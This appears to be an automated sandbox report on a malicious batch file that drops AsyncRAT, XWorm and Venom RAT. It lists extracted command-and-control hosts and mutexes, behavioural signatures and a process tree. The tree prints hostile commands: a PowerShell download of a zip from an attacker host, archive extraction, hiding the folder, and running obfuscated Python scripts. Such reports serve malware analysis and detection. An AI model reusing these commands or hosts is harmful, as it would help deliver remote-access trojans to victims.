asyncrat | hxxps://colleague-besides-reporters-unsubscribe[.]trycloudflare[.]com/new[.]bat

Analysis

max time kernel
553s
max time network
558s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
11-10-2024 17:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://colleague-besides-reporters-unsubscribe.trycloudflare.com/new.bat

Score

10^/10

asyncrat xworm default venom clients discovery execution rat trojan

Malware Config

Extracted

Family

asyncrat

Botnet

Default

nanarchym.duckdns.org:7878

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

modsmasync.duckdns.org:6745

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

asyncrat

Version

5.0.5

Botnet

Venom Clients

momehvenom.duckdns.org:8520

Mutex

Venom_RAT_HVNC_Mutex_Venom RAT_HVNC

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

xworm

Version

5.0

xwrmmone.duckdns.org:9390

x5wo9402sep.duckdns.org:9402

Mutex

jg6HwHbepPocwygj

Attributes

install_file
USB.exe

aes.plain

Extracted

Family

xworm

Version

3.1

momekxwrm.duckdns.org:8292

Mutex

yh66xbyAobQEOS5f

Attributes

install_file
USB.exe

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Detect Xworm Payload 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/3748-11558-0x000002438E6F0000-0x000002438E700000-memory.dmp	family_xworm
behavioral1/memory/4332-11562-0x0000018970E50000-0x0000018970E5E000-memory.dmp	family_xworm
behavioral1/memory/4768-11565-0x0000024877100000-0x0000024877110000-memory.dmp	family_xworm

Suspicious use of NtCreateUserProcessOtherParentProcess 7 IoCs

Processes:

python.exepython.exepython.exepython.exepython.exepython.exepython.exe

description	pid	process	target process
PID 3792 created 3432	3792	python.exe	Explorer.EXE
PID 3152 created 3432	3152	python.exe	Explorer.EXE
PID 2064 created 3432	2064	python.exe	Explorer.EXE
PID 1300 created 3432	1300	python.exe	Explorer.EXE
PID 4528 created 3432	4528	python.exe	Explorer.EXE
PID 1480 created 3432	1480	python.exe	Explorer.EXE
PID 4948 created 3432	4948	python.exe	Explorer.EXE

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Async RAT payload 3 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/5104-11541-0x0000018554490000-0x00000185544A6000-memory.dmp	family_asyncrat
behavioral1/memory/180-11545-0x000001A6D2E50000-0x000001A6D2E62000-memory.dmp	family_asyncrat
behavioral1/memory/3312-11548-0x000001DC52450000-0x000001DC52466000-memory.dmp	family_asyncrat

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

39 1244 powershell.exe
63 4624 powershell.exe
87 1444 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

4848 powershell.exe
2276 powershell.exe
1444 powershell.exe
1244 powershell.exe
4624 powershell.exe
Executes dropped EXE 7 IoCs

Processes:

python.exepython.exepython.exepython.exepython.exepython.exepython.exe

pid process

3792 python.exe
3152 python.exe
2064 python.exe
1300 python.exe
4528 python.exe
1480 python.exe
4948 python.exe

flow	pid	process
39	1244	powershell.exe
63	4624	powershell.exe
87	1444	powershell.exe

pid	process
4848	powershell.exe
2276	powershell.exe
1444	powershell.exe
1244	powershell.exe
4624	powershell.exe

Loads dropped DLL 42 IoCs

Processes:

python.exepython.exepython.exepython.exepython.exepython.exepython.exe

pid	process
3792	python.exe
3792	python.exe
3792	python.exe
3792	python.exe
3792	python.exe
3792	python.exe
3152	python.exe
3152	python.exe
3152	python.exe
3152	python.exe
3152	python.exe
3152	python.exe
2064	python.exe
2064	python.exe
2064	python.exe
2064	python.exe
2064	python.exe
2064	python.exe
1300	python.exe
1300	python.exe
1300	python.exe
1300	python.exe
1300	python.exe
1300	python.exe
4528	python.exe
4528	python.exe
4528	python.exe
4528	python.exe
4528	python.exe
4528	python.exe
1480	python.exe
1480	python.exe
1480	python.exe
1480	python.exe
1480	python.exe
1480	python.exe
4948	python.exe
4948	python.exe
4948	python.exe
4948	python.exe
4948	python.exe
4948	python.exe

Drops file in System32 directory 1 IoCs

Processes:

mmc.exe

description ioc process

File opened for modification C:\Windows\system32\services.msc mmc.exe
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2012 timeout.exe

description	ioc	process
File opened for modification	C:\Windows\system32\services.msc	mmc.exe

pid	process
2012	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 34 IoCs

Processes:

msedge.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 14002e8005398e082303024b98265d99428e115f0000	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1"	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\KnownFolderDerivedFolderType = "{885A186E-A440-4ADA-812B-DB871B942259}"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Downloads"	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupView = "4294967295"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1092616257"	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

msedge.exemsedge.exemsedge.exepowershell.exeidentity_helper.exemsedge.exepowershell.exepython.exepython.exepython.exepython.exepython.exepython.exenotepad.exepython.exenotepad.exepowershell.exenotepad.exepowershell.exepowershell.exe

pid	process
2344	msedge.exe
2344	msedge.exe
636	msedge.exe
636	msedge.exe
4296	msedge.exe
4296	msedge.exe
1244	powershell.exe
1244	powershell.exe
1244	powershell.exe
4620	identity_helper.exe
4620	identity_helper.exe
3836	msedge.exe
3836	msedge.exe
3836	msedge.exe
3836	msedge.exe
4848	powershell.exe
4848	powershell.exe
3792	python.exe
3152	python.exe
2064	python.exe
1300	python.exe
4528	python.exe
1480	python.exe
3748	notepad.exe
4948	python.exe
4332	notepad.exe
4624	powershell.exe
4624	powershell.exe
4768	notepad.exe
1444	powershell.exe
1444	powershell.exe
2276	powershell.exe
2276	powershell.exe
4768	notepad.exe
4768	notepad.exe
4768	notepad.exe
4768	notepad.exe
4768	notepad.exe
4768	notepad.exe
4332	notepad.exe
4332	notepad.exe
4332	notepad.exe
4332	notepad.exe
4332	notepad.exe
4332	notepad.exe
3748	notepad.exe
3748	notepad.exe
3748	notepad.exe
3748	notepad.exe
3748	notepad.exe
3748	notepad.exe
4768	notepad.exe
4768	notepad.exe
4768	notepad.exe
4332	notepad.exe
4332	notepad.exe
4332	notepad.exe
3748	notepad.exe
3748	notepad.exe
3748	notepad.exe
4768	notepad.exe
4768	notepad.exe
4768	notepad.exe
4332	notepad.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

mmc.exe

pid process

2940 mmc.exe

pid	process
2940	mmc.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 15 IoCs

Processes:

msedge.exepython.exepython.exepython.exepython.exepython.exepython.exepython.exe

pid	process
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
3792	python.exe
3152	python.exe
2064	python.exe
1300	python.exe
4528	python.exe
1480	python.exe
4948	python.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

Processes:

powershell.exepowershell.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exepowershell.exenotepad.exepowershell.exepowershell.exemmc.exe

description	pid	process
Token: SeDebugPrivilege	1244	powershell.exe
Token: SeDebugPrivilege	4848	powershell.exe
Token: SeDebugPrivilege	5104	notepad.exe
Token: SeDebugPrivilege	180	notepad.exe
Token: SeDebugPrivilege	3312	notepad.exe
Token: SeDebugPrivilege	3748	notepad.exe
Token: SeDebugPrivilege	4332	notepad.exe
Token: SeDebugPrivilege	4624	powershell.exe
Token: SeDebugPrivilege	4768	notepad.exe
Token: SeDebugPrivilege	1444	powershell.exe
Token: SeDebugPrivilege	2276	powershell.exe
Token: 33	2940	mmc.exe
Token: SeIncBasePriorityPrivilege	2940	mmc.exe
Token: 33	2940	mmc.exe
Token: SeIncBasePriorityPrivilege	2940	mmc.exe

Suspicious use of FindShellTrayWindow 31 IoCs

Processes:

msedge.exe

pid	process
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

Processes:

msedge.exe

pid	process
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe
636	msedge.exe

Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

msedge.exenotepad.exenotepad.exenotepad.exemmc.exe

pid process

4296 msedge.exe
3748 notepad.exe
4332 notepad.exe
4768 notepad.exe
2940 mmc.exe
2940 mmc.exe
2940 mmc.exe
2940 mmc.exe

pid	process
4296	msedge.exe
3748	notepad.exe
4332	notepad.exe
4768	notepad.exe
2940	mmc.exe
2940	mmc.exe
2940	mmc.exe
2940	mmc.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

msedge.exe

description	pid	process	target process
PID 636 wrote to memory of 3476	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3476	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 3252	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 2344	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 2344	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 1768	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 1768	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 1768	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 1768	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 1768	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 1768	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 1768	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 1768	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 1768	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 1768	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 1768	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 1768	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 1768	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 1768	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 1768	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 1768	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 1768	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 1768	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 1768	636	msedge.exe	msedge.exe
PID 636 wrote to memory of 1768	636	msedge.exe	msedge.exe

Views/modifies file attributes 1 TTPs 2 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exeattrib.exe

pid process

3044 attrib.exe
3064 attrib.exe

pid	process
3044	attrib.exe
3064	attrib.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3432

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://colleague-besides-reporters-unsubscribe.trycloudflare.com/new.bat
2⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:636

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xe0,0xe4,0xd8,0xdc,0x108,0x7ffb42b946f8,0x7ffb42b94708,0x7ffb42b94718
3⤵
PID:3476

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2020,16396207100945392174,11810437951115774287,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2036 /prefetch:2
3⤵
PID:3252

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2020,16396207100945392174,11810437951115774287,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 /prefetch:3
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:2344

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2020,16396207100945392174,11810437951115774287,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2528 /prefetch:8
3⤵
PID:1768

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,16396207100945392174,11810437951115774287,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:1
3⤵
PID:4116

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,16396207100945392174,11810437951115774287,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3492 /prefetch:1
3⤵
PID:4072

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2020,16396207100945392174,11810437951115774287,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5592 /prefetch:8
3⤵
PID:2620

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=2020,16396207100945392174,11810437951115774287,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5724 /prefetch:8
3⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:4296

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,16396207100945392174,11810437951115774287,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3052 /prefetch:1
3⤵
PID:4076

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,16396207100945392174,11810437951115774287,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1840 /prefetch:1
3⤵
PID:4252

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\new.bat" "
3⤵
PID:1884

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipmng.site:9396/DX1.zip' -OutFile 'C:\Users\Admin\Downloads\DX1.zip' }"
4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1244

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "& { Expand-Archive -Path 'C:\Users\Admin\Downloads\DX1.zip' -DestinationPath 'C:\Users\Admin\Downloads' -Force }"
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4848

C:\Windows\system32\timeout.exe
timeout /t 5 REM Wait for extraction to finish (adjust timeout as needed)
4⤵
- Delays execution with timeout.exe
PID:2012

C:\Windows\system32\attrib.exe
attrib +h "C:\Users\Admin\Downloads\Python"
4⤵
- Views/modifies file attributes
PID:3044

C:\Users\Admin\Downloads\Python\Python312\python.exe
python.exe 0001-obf.py
4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:3792

C:\Users\Admin\Downloads\Python\Python312\python.exe
python.exe 0002-obf.py
4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:3152

C:\Users\Admin\Downloads\Python\Python312\python.exe
python.exe 0003-obf.py
4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:2064

C:\Users\Admin\Downloads\Python\Python312\python.exe
python.exe 0004-obf.py
4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
